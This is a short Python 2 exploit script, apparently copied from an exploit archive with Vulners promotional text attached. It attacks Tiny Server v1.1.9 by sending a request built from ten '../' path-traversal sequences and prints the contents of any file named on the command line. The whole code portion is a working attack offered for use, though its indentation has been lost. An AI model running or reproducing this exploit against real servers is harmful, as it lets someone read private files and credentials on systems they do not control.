# -*- coding: utf-8 -*-
import urllib2
import sys
#Tiny Server v1.1.9 Arbitrary File Disclosure Exploit
def banner():
print "\033[1m\033[92mTiny Server v1.1.9 Arbitrary File Disclosure Exploit"
print "Exploit Write by Yahya Tanisik"
print "Contact : [email protected]"
if(len(sys.argv)==3):
banner()
print "\n"
aragazi = '../'*10
baglanti = urllib2.Request(str(sys.argv[1])+"/"+aragazi+""+str(sys.argv[2]))
cikti = urllib2.urlopen(baglanti)
print ('#'*30)+" File content "+('#'*30)
print cikti.read()
else:
banner()
print "\033[91mUsage python exploit.py http://127.0.0.1:80 flag.txt"
# 0day.today [2018-04-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation